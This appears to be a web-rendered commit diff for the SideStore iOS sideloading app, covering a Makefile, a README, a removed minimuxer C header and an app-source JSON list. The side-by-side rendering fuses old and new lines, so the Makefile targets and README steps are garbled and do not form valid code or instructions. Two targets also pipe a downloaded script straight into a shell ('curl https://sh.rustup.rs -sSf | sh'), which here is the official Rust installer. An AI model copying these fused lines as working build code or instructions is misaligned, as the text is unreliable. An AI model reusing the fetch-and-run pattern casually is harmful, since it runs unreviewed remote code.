## Pull upstream and update 3rd party frameworks ## Pull upstream and update 3rd party frameworks
# update: pull submodules build_rust_dependencies update: submodules
update: submodules build_rust_dependencies
submodules: submodules:
$(info Updating submodules…) $(info Updating submodules…)
git submodule update --init --recursive git submodule update --init --recursive --remote
build_rust_dependencies:
$(info Building Rust dependencies…)
pushd Dependencies/em_proxy
cargo build --release --target aarch64-apple-ios
popd
pushd Dependencies/minimuxer
cargo build --release --target aarch64-apple-ios
popd
install_rustup:
$(info Installing Rustup…)
curl https://sh.rustup.rs -sSf | sh
source "$(HOME)/.cargo/env"
rustup target add aarch64-apple-ios
# TODO: Add x86, armv7? toolchains
# https://doc.rust-lang.org/nightly/rustc/platform-support.html
install_cbindgen:
$(info Installing cbindgen…)
cargo install cbindgen
install_rust_toolchain:
$(info Installing Rust toolchain…)
rustup target add aarch64-apple-ios
install_rust_toolchain_ios_sim:
$(info Installing Rust iOS Sim toolchain…)
rustup target add aarch64-apple-ios-sim
install_rust_toolchain_tvos:
$(info Installing Rust tvOS toolchain…)
rustup target add aarch64-apple-tvos
install_rust_toolchain_tvos_sim:
$(info Installing Rust tvOS Sim toolchain…)
rustup target add aarch64-apple-tvos-sim
install_rust_toolchain_watchos_sim:
$(info Installing Rust watchOS Sim toolchain…)
rustup target add aarch64-apple-watchos-sim
install_rust_toolchain_watchos:
$(info Installing Rust watchOS toolchain…)
rustup target add aarch64-apple-watchos
install_rust_toolchain_catalyst:
$(info Installing Rust macOS Catalyst toolchain…)
rustup target add aarch64-apple-ios-macabi
install_rust:
$(info Installing Rust…)
curl https://sh.rustup.rs -sSf | sh
source "$(HOME)/.cargo/env"
## -- QA Task Runners -- ## -- QA Task Runners --
@@ -243,32 +156,25 @@ test:
## -- Building -- ## -- Building --
developer_ios: build:
$(info Building iOS for Developer profile…) @xcodebuild -project AltStore.xcodeproj \
-scheme AltStore \
-sdk iphoneos \
archive -archivePath ./archive \
CODE_SIGNING_REQUIRED=NO \
AD_HOC_CODE_SIGNING_ALLOWED=YES \
CODE_SIGNING_ALLOWED=NO \
DEVELOPMENT_TEAM=XYZ0123456 \
ORG_IDENTIFIER=com.SideStore \
DWARF_DSYM_FOLDER_PATH="."
xcodebuild -project AltStore.xcodeproj -scheme AltStore -sdk iphoneos archive -archivePath ./archive CODE_SIGNING_REQUIRED=NO AD_HOC_CODE_SIGNING_ALLOWED=YES CODE_SIGNING_ALLOWED=NO DEVELOPMENT_TEAM=XYZ0123456 ORG_IDENTIFIER=com.SideStore | xcpretty fakesign:
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
developer_tvos: ipa:
$(info Building tvOS for Developer profile…) mkdir Payload
mkdir Payload/SideStore.app
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
zip -r SideStore.ipa Payload
xcodebuild -project AltStore.xcodeproj -scheme AltStore -sdk tvos archive -archivePath ./archive CODE_SIGNING_REQUIRED=NO AD_HOC_CODE_SIGNING_ALLOWED=YES CODE_SIGNING_ALLOWED=NO DEVELOPMENT_TEAM=XYZ0123456 ORG_IDENTIFIER=com.SideStore | xcpretty
## Update & build for iOS
ios: | update developer_ios
## Update & build for tvOS
tvos: | update developer_tvos
## Open the workspace
open:
open AltStore.xcodeproj
## tag and release to github
release: | _var_VERSION
@if ! git diff --quiet HEAD; then \
( $(call _error,refusing to release with uncommitted changes) ; exit 1 ); \
fi
test
package
make --no-print-directory _tag VERSION=$(VERSION)
make --no-print-directory _push VERSION=$(VERSION)

View File

@@ -4,7 +4,10 @@
[![License: AGPL v3](https://img.shields.io/badge/License-AGPL%20v3-blue.svg)](https://www.gnu.org/licenses/agpl-3.0) [![License: AGPL v3](https://img.shields.io/badge/License-AGPL%20v3-blue.svg)](https://www.gnu.org/licenses/agpl-3.0)
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://makeapullrequest.com) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://makeapullrequest.com)
[![Build and Upload SideStore](https://github.com/SideStore/SideStore/actions/workflows/build.yml/badge.svg)](https://github.com/SideStore/SideStore/actions/workflows/build.yml) [![Nightly SideStore build](https://github.com/SideStore/SideStore/actions/workflows/nightly.yml/badge.svg)](https://github.com/SideStore/SideStore/actions/workflows/nightly.yml)
[![.github/workflows/beta.yml](https://github.com/SideStore/SideStore/actions/workflows/beta.yml/badge.svg)](https://github.com/SideStore/SideStore/actions/workflows/beta.yml)
![Alt](https://repobeats.axiom.co/api/embed/3a329ce95955690b9a9366f8d5598626a847d96c.svg "Repobeats analytics image")
SideStore is an iOS application that allows you to sideload apps onto your iOS device with just your Apple ID. SideStore resigns apps with your personal development certificate, and then uses a [specially designed VPN](https://github.com/jkcoxson/Secret-Tunnel) in order to trick iOS into installing them. SideStore will periodically "refresh" your apps in the background, to keep their normal 7-day development period from expiring. SideStore is an iOS application that allows you to sideload apps onto your iOS device with just your Apple ID. SideStore resigns apps with your personal development certificate, and then uses a [specially designed VPN](https://github.com/jkcoxson/Secret-Tunnel) in order to trick iOS into installing them. SideStore will periodically "refresh" your apps in the background, to keep their normal 7-day development period from expiring.
@@ -12,7 +15,6 @@ SideStore's goal is to provide an untethered sideloading experience. It's a comm
(Contributions are welcome! 🙂) (Contributions are welcome! 🙂)
## Requirements ## Requirements
- Xcode 14 - Xcode 14
- iOS 14+ - iOS 14+
@@ -35,21 +37,9 @@ SideStore is a just regular, sandboxed iOS application. The AltStore app target
We're hoping to eventually eliminate our dependency on it, as it increases the amount of unnecessary Objective-C in the project. We're hoping to eventually eliminate our dependency on it, as it increases the amount of unnecessary Objective-C in the project.
## Compilation Instructions ## Contributing/Compilation Instructions
SideStore is fairly straightforward to compile and run if you're already an iOS or macOS developer. Here are some basic instructions to get you started:
1. Clone the repository Please see [CONTRIBUTING.md](./CONTRIBUTING.md)
```
git clone https://github.com/SideStore/SideStore.git --recurse-submodules
```
2. After installing Rustup, run `rustup target add aarch64-apple-ios`
12. Within the Dependencies/em_proxy and Dependencies/minimuxer directories, run `cargo build --release --target aarch64-apple-ios`
2. Open `AltStore.xcodeproj` and select the AltStore project in the project navigator. On the `Signing & Capabilities` tab, change the team from to your own account.
3. **(Development only)** Change the value for `ALTDeviceID` in the Info.plist to your device's UDID. Normally, SideServer embeds the device's UDID in SideStore's Info.plist during installation. When running through Xcode you'll need to set the value yourself or else SideStore won't resign (or even install) apps for the proper device. You can achieve this by changing a few things to be able to build and use SideStore.
5. Copy `CodeSigning.xcconfig.sample` to `CodeSigning.xcconfig`
6. Fill out all of the properties in `CodeSigning.xcconfig` to match your account.
7. In `Shared/Extensions/Bundle+AltStore.swift`, replace "group.com.rileytestut.AltStore" with your own App Group ID.
8. Build + run app! 🎉
## Licensing ## Licensing

View File

@@ -1,76 +0,0 @@
// Jackson Coxson
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
/**
* Mount iOS's developer DMG
* # Safety
* Don't be stupid
*/
void minimuxer_auto_mount(char *docs_path);
/**
* Starts the muxer and heartbeat client
* # Arguments
* Pairing file as a list of chars and the length
* # Safety
* Don't be stupid
*/
int minimuxer_c_start(char *pairing_file, char *log_path);
/**
* Debugs an app from an app ID
* # Safety
* Don't be stupid
*/
int minimuxer_debug_app(char *app_id);
/**
* Installs an ipa with a bundle ID
* Expects the ipa to be in the afc jail from yeet_app_afc
* # Safety
* Don't be stupid
*/
int minimuxer_install_ipa(char *bundle_id);
/**
* Installs a provisioning profile on the device
* # Arguments
* Pass a pointer to a plist
* # Returns
* 0 on success
* # Safety
* Don't be stupid
*/
int minimuxer_install_provisioning_profile(uint8_t *pointer, unsigned int len);
/**
* Removes an app from the device
* # Safety
* Don't be stupid
*/
int minimuxer_remove_app(char *bundle_id);
/**
* Removes a provisioning profile
* # Safety
* Don't be stupid
*/
int minimuxer_remove_provisioning_profile(char *id);
/**
* Yeets an ipa to the afc jail
* # Safety
* Don't be stupid
*/
int minimuxer_yeet_app_afc(char *bundle_id, uint8_t *bytes_ptr, unsigned long bytes_len);
/**
* Sets the current environment variable for libusbmuxd to localhost
*/
void target_minimuxer_address(void);

View File

@@ -26,7 +26,7 @@
}, },
{ {
"identifier": "dev.crystall1ne.repos.PojavLauncher", "identifier": "dev.crystall1ne.repos.PojavLauncher",
"sourceURL": "https://alt.crystall1ne.software/" "sourceURL": "https://alt.crystall1ne.dev"
}, },
{ {
"identifier": "eu.pokemmo.altstore", "identifier": "eu.pokemmo.altstore",